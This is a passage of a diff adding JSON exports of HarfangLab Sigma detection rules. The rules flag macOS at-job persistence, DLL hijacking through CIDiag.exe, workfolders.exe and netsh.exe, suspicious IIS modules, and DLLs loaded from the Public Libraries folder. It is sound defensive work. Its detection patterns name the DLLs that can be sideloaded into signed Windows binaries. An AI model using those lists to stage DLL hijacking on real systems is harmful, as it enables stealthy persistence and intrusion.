+  "content": "title: At Jobs Enabled via Launchd\nid: 0ab5a1ee-2e2d-40e4-874a-d5e2f3b74fc5\ndescription: |\n    Detects the loading of file related to the `at` utility by launchd.\n    Adversaries may use at to execute programs at system startup or on a scheduled basis for persistence.\n    It is recommended to check the content of the /var/at/jobs folder for suspicious jobs.\nreferences:\n    - https://attack.mitre.org/techniques/T1053/002/\ndate: 2024/05/10\nmodified: 2025/01/28\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1053.002\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Persistence\nlogsource:\n    product: macos\n    category: process_creation\ndetection:\n    selection:\n        Image|endswith: '/launchctl'\n        CommandLine|contains|all:\n            - 'load'\n            - '/com.apple.atrun.plist'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0ab5a1ee-2e2d-40e4-874a-d5e2f3b74fc5",
+  "rule_name": "At Jobs Enabled via Launchd",
+  "rule_description": "Detects the loading of file related to the `at` utility by launchd.\nAdversaries may use at to execute programs at system startup or on a scheduled basis for persistence.\nIt is recommended to check the content of the /var/at/jobs folder for suspicious jobs.\n",
+  "rule_creation_date": "2024-05-10",
+  "rule_modified_date": "2025-01-28",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0ac5fafe-dc2c-42bf-9d26-3882b0df7857",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.599572Z",
+  "creation_date": "2026-03-23T11:45:34.599576Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.599583Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_cidiag.yml",
+  "content": "title: DLL Hijacking via CIDiag.exe\nid: 0ac5fafe-dc2c-42bf-9d26-3882b0df7857\ndescription: |\n    Detects potential Windows DLL Hijacking via CIDiag.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'CIDiag.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\bcd.dll'\n            - '\\wevtapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0ac5fafe-dc2c-42bf-9d26-3882b0df7857",
+  "rule_name": "DLL Hijacking via CIDiag.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via CIDiag.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0ad1a87e-1efd-47a3-a74b-3ec148f9992a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.618712Z",
+  "creation_date": "2026-03-23T11:45:34.618714Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618718Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_workfolders.yml",
+  "content": "title: DLL Hijacking via workfolders.exe\nid: 0ad1a87e-1efd-47a3-a74b-3ec148f9992a\ndescription: |\n    Detects potential Windows DLL Hijacking via workfolders.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'workfolders.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\CLDAPI.dll'\n            - '\\CRYPTBASE.DLL'\n            - '\\davclnt.dll'\n            - '\\DEVOBJ.dll'\n            - '\\dmEnrollEngine.DLL'\n            - '\\drprov.dll'\n            - '\\edputil.dll'\n            - '\\FLTLIB.DLL'\n            - '\\ntlanman.dll'\n            - '\\p9np.dll'\n            - '\\policymanager.dll'\n            - '\\PROPSYS.dll'\n            - '\\USERENV.dll'\n            - '\\windows.storage.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0ad1a87e-1efd-47a3-a74b-3ec148f9992a",
+  "rule_name": "DLL Hijacking via workfolders.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via workfolders.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0ae4376f-360f-4b97-9b3f-4c735a82fbf6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.075904Z",
+  "creation_date": "2026-03-23T11:45:34.075906Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.075910Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview#module-reference",
+    "https://www.microsoft.com/en-us/security/blog/2022/12/12/iis-modules-the-evolution-of-web-shells-and-how-to-detect-them/",
+    "https://attack.mitre.org/techniques/T1505/004/"
+  ],
+  "name": "t1505_004_iis_module_native_load_pre43.yml",
+  "content": "title: Suspicious IIS Module Loaded\nid: 0ae4376f-360f-4b97-9b3f-4c735a82fbf6\ndescription: |\n    Detects the loading of a suspicious (native) library by an IIS worker process in system-wide IIS binary module directories.\n    Malicious DLLs loaded by an IIS worker can be used for different purposes, mostly to act as webshells.\n    It is recommended to analyze the content of the loaded library to look for malicious content and to analyze subprocesses of the IIS worker for malicious behavior.\n    This rule applies to agents with version before 4.3, and is maintained for compatibility reasons only.\nreferences:\n    - https://learn.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview#module-reference\n    - https://www.microsoft.com/en-us/security/blog/2022/12/12/iis-modules-the-evolution-of-web-shells-and-how-to-detect-them/\n    - https://attack.mitre.org/techniques/T1505/004/\ndate: 2023/11/20\nmodified: 2025/10/09\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1505.004\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'w3wp.exe'\n        ProcessDescription: 'IIS Worker Process'\n        ImageLoaded|re:\n            - '(?i)^[A-Z]:\\\\Windows\\\\System32\\\\inetsrv\\\\[[:print:]&&[^/\\\\:\\*\\?\\\"<>|]]+\\.dll$'\n            - '(?i)^[A-Z]:\\\\inetpub\\\\wwwroot\\\\bin\\\\[[:print:]&&[^/\\\\:\\*\\?\\\"<>|]]+\\.dll$'\n            - '(?i)^[A-Z]:\\\\inetpub\\\\temp\\\\[[:print:]&&[^/\\\\:\\*\\?\\\"<>|]]+\\.dll$'\n            - '(?i)^[A-Z]:\\\\Program Files\\\\Microsoft\\\\Exchange Server\\\\[[:print:]&&[^/:\\*\\?\\\"<>|]]+\\\\bin\\\\[[:print:]&&[^/\\\\:\\*\\?\\\"<>|]]+\\.dll$'\n        AgentVersion|lt|version: 4.3  # Before this version, only native DLL are considered, see 29dfc6e6-c42a-4009-8e21-367675f7e417\n\n    filter_legitimate_common_modules_bypath:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\inetsrv\\authanon.dll'\n            - '?:\\Windows\\System32\\inetsrv\\authbas.dll'\n            - '?:\\Windows\\System32\\inetsrv\\authcert.dll'\n            - '?:\\Windows\\System32\\inetsrv\\authmd5.dll'\n            - '?:\\Windows\\System32\\inetsrv\\authsspi.dll'\n            - '?:\\Windows\\System32\\inetsrv\\cachfile.dll'\n            - '?:\\Windows\\System32\\inetsrv\\cachhttp.dll'\n            - '?:\\Windows\\System32\\inetsrv\\cachtokn.dll'\n            - '?:\\Windows\\System32\\inetsrv\\cachuri.dll'\n            - '?:\\Windows\\System32\\inetsrv\\cgi.dll'\n            - '?:\\Windows\\System32\\inetsrv\\compdyn.dll'\n            - '?:\\Windows\\System32\\inetsrv\\compstat.dll'\n            - '?:\\Windows\\System32\\inetsrv\\custerr.dll'\n            - '?:\\Windows\\System32\\inetsrv\\defdoc.dll'\n            - '?:\\Windows\\System32\\inetsrv\\diprestr.dll'\n            - '?:\\Windows\\System32\\inetsrv\\dirlist.dll'\n            - '?:\\Windows\\System32\\inetsrv\\filter.dll'\n            - '?:\\Windows\\System32\\inetsrv\\gzip.dll'\n            - '?:\\Windows\\System32\\inetsrv\\iis_ssi.dll'\n            - '?:\\Windows\\System32\\inetsrv\\iiscore.dll'\n            - '?:\\Windows\\System32\\inetsrv\\iisetw.dll'\n            - '?:\\Windows\\System32\\inetsrv\\iisfcgi.dll'\n            - '?:\\Windows\\System32\\inetsrv\\iisfreb.dll'\n            - '?:\\Windows\\System32\\inetsrv\\iisreqs.dll'\n            - '?:\\Windows\\System32\\inetsrv\\iisres.dll'\n            - '?:\\Windows\\System32\\inetsrv\\iisutil.dll'\n            - '?:\\Windows\\System32\\inetsrv\\iiswsock.dll'\n            - '?:\\Windows\\System32\\inetsrv\\iprestr.dll'\n            - '?:\\Windows\\System32\\inetsrv\\isapi.dll'\n            - '?:\\Windows\\System32\\inetsrv\\logcust.dll'\n            - '?:\\Windows\\System32\\inetsrv\\loghttp.dll'\n            - '?:\\Windows\\System32\\inetsrv\\modrqflt.dll'\n            - '?:\\Windows\\System32\\inetsrv\\nativerd.dll'\n            - '?:\\Windows\\System32\\inetsrv\\protsup.dll'\n            - '?:\\Windows\\System32\\inetsrv\\redirect.dll'\n            - '?:\\Windows\\System32\\inetsrv\\rewrite.dll'\n            - '?:\\Windows\\System32\\inetsrv\\static.dll'\n            - '?:\\Windows\\System32\\inetsrv\\validcfg.dll'\n            - '?:\\Windows\\System32\\inetsrv\\w3dt.dll'\n            - '?:\\Windows\\System32\\inetsrv\\w3tp.dll'\n            - '?:\\Windows\\System32\\inetsrv\\w3wphost.dll'\n            - '?:\\Windows\\System32\\inetsrv\\warmup.dll'\n            - '?:\\Windows\\System32\\inetsrv\\wbhst_pm.dll'\n\n    filter_signed_imageloaded:\n        Signed: 'true'\n        SignatureStatus: 'Valid'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n            - 'Microsoft Windows Publisher'\n\n    exclusion_legitimate_ms_safehtml:\n        Company: 'Microsoft Corporation'\n        Description: 'Microsoft SafeHtml filter'\n        InternalName: 'osafehtm'\n        Product:\n            - 'Microsoft SafeHtml'\n            - '*Exchange - For Testing Purposes Only*'\n        ImageLoaded|endswith: '\\osafehtm.dll'\n\n    exclusion_legitimate_bo_crystalreports:\n        Company: 'Business Objects'\n        LegalCopyright|endswith: 'Business Objects'\n        Product|startswith: 'Crystal Reports'\n        ImageLoaded|endswith:\n            - '\\CrystalDecisions.CrystalReports.Engine.dll'\n            - '\\CrystalDecisions.ReportSource.dll'\n            - '\\CrystalDecisions.Shared.dll'\n            - '\\CrystalDecisions.Web.dll'\n\n    exclusion_legitimate_ge_healtcare:\n        Company: 'GE Healthcare'\n        Product|startswith: 'Dicom'\n        ImageLoaded|endswith: '\\DicomFileParser.dll'\n\n    exclusion_legitimate_infor_mingle:\n        Company: 'Infor'\n        Description: 'Infor.Mingle Extension Module for IIS'\n        ImageLoaded|endswith: '\\Infor.Mingle.IISModule.dll'\n\n    exclusion_legitimate_zedoc:\n        Company: 'BSV'\n        Description|startswith: 'BSV.'\n        InternalName|startswith: 'BSV.'\n        ImageLoaded|endswith: '\\bin\\BSV.Videocodage.dll'\n\n    exclusion_legitimate_mysqladonet:\n        Company: 'MySQL AB'\n        Description|startswith: 'MySql.'\n        InternalName|startswith: 'MySql.'\n        LegalCopyright|endswith: ', MySQL AB'\n        ImageLoaded|endswith: '\\bin\\MySql.Data.dll'\n\n    exclusion_legitimate_stripheaders:\n        ImageLoaded: '?:\\Windows\\System32\\inetsrv\\stripheaders.dll'\n        sha256:\n            - 'ce3698854f86e1c18f7926d57aec9a6fdba633341a128bec799698e76ef8e144'\n            - '16151bbbe127469a0aab8ce7f4f954a2e585201f7d27f8ab7895a62b60f056a9'\n\n    exclusion_legitimate_webdav:\n        ImageLoaded: '?:\\Windows\\System32\\inetsrv\\webdav.dll'\n        sha256:\n            - 'fdddf849ba5c8de2f8df9650ab32578e0e74ed607f741013fa50058206b811bf'\n            - '94003c985396df6f422d4ad99651a66aee401f9846ed80f82f66f2db77b3391f'\n            - '53b61306ed62687b5aeeb380cda96d8a70641d4f1ab58edc26978a181d7fe1d0'\n            - '8e430996c1ec91f8ef6d1b10017ad18eddde3027574cafdeb6e42e90bce516e6'\n\n    exclusion_legitimate_freeimage:\n        Company: 'FreeImage'\n        Signed: 'true'\n        SignatureStatus: 'Valid'\n        Signature: 'Soft Gold ltd'\n\n    exclusion_legitimate_nicelimited:\n        - Signed: 'true'\n          SignatureStatus: 'Valid'\n          Signature: 'NICE Systems Ltd'\n        - Company: 'NICE Limited'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nfalsepositives:\n    - Some web applications legitimately requires the loading of an unsigned library server-wide.\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0ae4376f-360f-4b97-9b3f-4c735a82fbf6",
+  "rule_name": "Suspicious IIS Module Loaded",
+  "rule_description": "Detects the loading of a suspicious (native) library by an IIS worker process in system-wide IIS binary module directories.\nMalicious DLLs loaded by an IIS worker can be used for different purposes, mostly to act as webshells.\nIt is recommended to analyze the content of the loaded library to look for malicious content and to analyze subprocesses of the IIS worker for malicious behavior.\nThis rule applies to agents with version before 4.3, and is maintained for compatibility reasons only.\n",
+  "rule_creation_date": "2023-11-20",
+  "rule_modified_date": "2025-10-09",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1505.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0aede467-048c-4d8e-887a-5d4afe2b47d8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.586945Z",
+  "creation_date": "2026-03-23T11:45:34.586949Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.586966Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_netsh.yml",
+  "content": "title: DLL Hijacking via netsh.exe\nid: 0aede467-048c-4d8e-887a-5d4afe2b47d8\ndescription: |\n    Detects potential Windows DLL Hijacking via netsh.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'netsh.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\adsldpc.dll'\n            - '\\AUTHFWCFG.DLL'\n            - '\\Cabinet.dll'\n            - '\\CRYPTBASE.DLL'\n            - '\\DHCPCMONITOR.DLL'\n            - '\\dhcpcsvc6.DLL'\n            - '\\dhcpcsvc.DLL'\n            - '\\DNSAPI.dll'\n            - '\\dot3api.dll'\n            - '\\DOT3CFG.DLL'\n            - '\\eappcfg.dll'\n            - '\\eappprxy.dll'\n            - '\\FirewallAPI.dll'\n            - '\\fwbase.dll'\n            - '\\FWCFG.DLL'\n            - '\\FWPolicyIOMgr.dll'\n            - '\\fwpuclnt.dll'\n            - '\\HNETMON.DLL'\n            - '\\HTTPAPI.dll'\n            - '\\IFMON.DLL'\n            - '\\IPHLPAPI.DLL'\n            - '\\ktmw32.dll'\n            - '\\mintdh.dll'\n            - '\\MobileNetworking.dll'\n            - '\\NDFAPI.DLL'\n            - '\\NETIOHLP.DLL'\n            - '\\netshell.dll'\n            - '\\NETTRACE.DLL'\n            - '\\nlaapi.dll'\n            - '\\NSHHTTP.DLL'\n            - '\\NSHIPSEC.DLL'\n            - '\\NSHWFP.DLL'\n            - '\\OneX.DLL'\n            - '\\P2P.dll'\n            - '\\P2PNETSH.DLL'\n            - '\\PEERDISTSH.DLL'\n            - '\\POLSTORE.DLL'\n            - '\\RASAPI32.dll'\n            - '\\rasman.dll'\n            - '\\RASMONTR.DLL'\n            - '\\RMCLIENT.dll'\n            - '\\RPCNSH.DLL'\n            - '\\SLC.dll'\n            - '\\sppc.dll'\n            - '\\SspiCli.dll'\n            - '\\USERENV.dll'\n            - '\\wcmapi.dll'\n            - '\\WCNNETSH.DLL'\n            - '\\wdi.dll'\n            - '\\wevtapi.dll'\n            - '\\WHHELPER.DLL'\n            - '\\WINHTTP.dll'\n            - '\\WINIPSEC.DLL'\n            - '\\WINNSI.DLL'\n            - '\\wlanapi.dll'\n            - '\\WLANCFG.DLL'\n            - '\\WSHELPER.DLL'\n            - '\\WWANCFG.DLL'\n            - '\\wwapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0aede467-048c-4d8e-887a-5d4afe2b47d8",
+  "rule_name": "DLL Hijacking via netsh.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via netsh.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0b84fa6b-6d3b-4041-972c-ee8b193fa745",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.079690Z",
+  "creation_date": "2026-03-23T11:45:34.079692Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.079697Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.talosintelligence.com/mustang-panda-targets-europe/",
+    "https://attack.mitre.org/techniques/T1036/005/"
+  ],
+  "name": "t1036_005_dll_load_from_user_public_libraries.yml",
+  "content": "title: DLL Loaded from Libraries Folder\nid: 0b84fa6b-6d3b-4041-972c-ee8b193fa745\ndescription: |\n    Detects the suspicious loading of a DLL from the libraries folder of the Public user.\n    This folder is an uncommon directory for a DLL to load from and is often abused by attackers.\n    It is recommended to analyze the loaded DLL to look for malicious behavior or content.\nreferences:\n    - https://blog.talosintelligence.com/mustang-panda-targets-europe/\n    - https://attack.mitre.org/techniques/T1036/005/\ndate: 2024/03/06\nmodified: 2025/01/29\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1036.005\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ImageLoaded|startswith: '?:\\Users\\Public\\Libraries\\'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0b84fa6b-6d3b-4041-972c-ee8b193fa745",
+  "rule_name": "DLL Loaded from Libraries Folder",
